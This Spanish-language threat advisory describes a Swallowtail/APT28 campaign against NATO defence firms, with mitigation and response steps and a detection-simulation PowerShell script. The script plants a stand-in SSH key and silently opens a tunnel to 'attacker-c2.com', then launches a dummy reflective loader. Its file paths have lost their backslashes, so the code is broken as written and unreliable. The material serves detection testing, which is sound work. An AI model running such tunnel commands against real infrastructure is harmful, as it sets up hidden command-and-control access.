Swallowtail Vinculado a Rusia Ataca Empresas del Sector Defensa de la OTAN

Resumen

El grupo de espionaje ruso Swallowtail, también rastreado como APT28, llevó a cabo una intrusión de varios meses dirigida a organizaciones de defensa, marítimas y de aplicación de la ley en los estados miembros de la OTAN. Los atacantes desplegaron la puerta trasera Hookedge y un cargador reflectante no documentado llamado ld.exe para mantener el acceso y ejecutar cargas útiles en la memoria. La campaña también involucró técnicas avanzadas como el tunelado SSH para el acceso persistente a la red y el robo de credenciales NTLM basado en PowerShell.

Investigación

El equipo de cazadores de amenazas de Symantec rastreó la infección inicial a documentos de Word con macros habilitadas entregados a través de Outlook. Los analistas identificaron un mecanismo de entrega y devolución usando webhook.site y una instancia oculta de Microsoft Edge para recuperar tareas. Los atacantes también mostraron actividad manual, realizando reconocimiento, sondeo de la red interna, movimiento lateral y recolección de credenciales en entornos comprometidos.

Mitigación

Las organizaciones deben priorizar el bloqueo de endpoints maliciosos conocidos de webhook.site y el monitoreo de comportamientos anómalos de Microsoft Edge, incluidas ventanas de navegador de un solo píxel o fuera de pantalla. Se debe hacer cumplir un filtrado de salida estricto para evitar conexiones SSH no autorizadas, mientras que los equipos de seguridad deben monitorear la actividad sospechosa de oyentes de PowerShell. La protección de endpoint también debe detectar la carga reflectante y los intentos no autorizados de acceder a credenciales.

Respuesta

Si se detecta actividad relacionada con Hookedge, los respondedores deben aislar inmediatamente los sistemas afectados para interrumpir túneles SSH activos y comunicaciones C2. Realice un barrido forense detallado en busca de archivos no documentados como ld.exe e inspeccione las tareas programadas para detectar mecanismos de persistencia. Realice un restablecimiento completo de credenciales para cuentas potencialmente expuestas durante el robo de credenciales NTLM o la exposición de claves SSH.

Ejecución de Simulación

• Narrativa de Ataque y Comandos: El adversario pretende establecer un túnel persistente y cifrado hacia su infraestructura de Comando y Control (C2). Han dejado caer una clave privada SSH robada en C:ProgramDataAdobeid_rsa para mezclarse con metadatos de software legítimos. Luego intentan ejecutar el túnel usando ssh.exe. Tras el establecimiento del túnel, intentan cargar una carga útil maliciosa en la memoria usando un cargador reflectante personalizado llamado ld.exe. Estas acciones están diseñadas para eludir las defensas perimetrales tradicionales utilizando herramientas legítimas (ssh.exe) y ejecución en memoria (ld.exe).

• Script de Prueba de Regresión:

  # 1. Simular Tunelado SSH de Swallowtail
  $dir = "C:ProgramDataAdobe"
  if (!(Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force }
  $keyPath = "$dirid_rsa"
  "MIIEpAIBAAKCAQEA75..." | Out-File -FilePath $keyPath -Encoding ascii
  
  # Activar la detección de SSH mediante coincidencia exacta de línea de comando
  Start-Process "C:WindowsSystem32OpenSSHssh.exe" -ArgumentList "-i $keyPath user@attacker-c2.com" -WindowStyle Hidden
  
  # 2. Simular ejecución de Cargador Reflectante
  # Creando un ld.exe simulado para generación de telemetría
  $dummyLoader = "C:WindowsTempld.exe"
  New-Item -ItemType File -Path $dummyLoader -Force
  # Nota: En un escenario real, esto sería un binario; aquí simulamos el evento de creación de proceso
  Start-Process $dummyLoader -ArgumentList "payload.enc" -WindowStyle Hidden

• Comandos de Limpieza:

  # Eliminar los archivos y directorios maliciosos simulados
  Remove-Item -Path "C:ProgramDataAdobe" -Recurse -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "C:WindowsTempld.exe" -Force -ErrorAction SilentlyContinue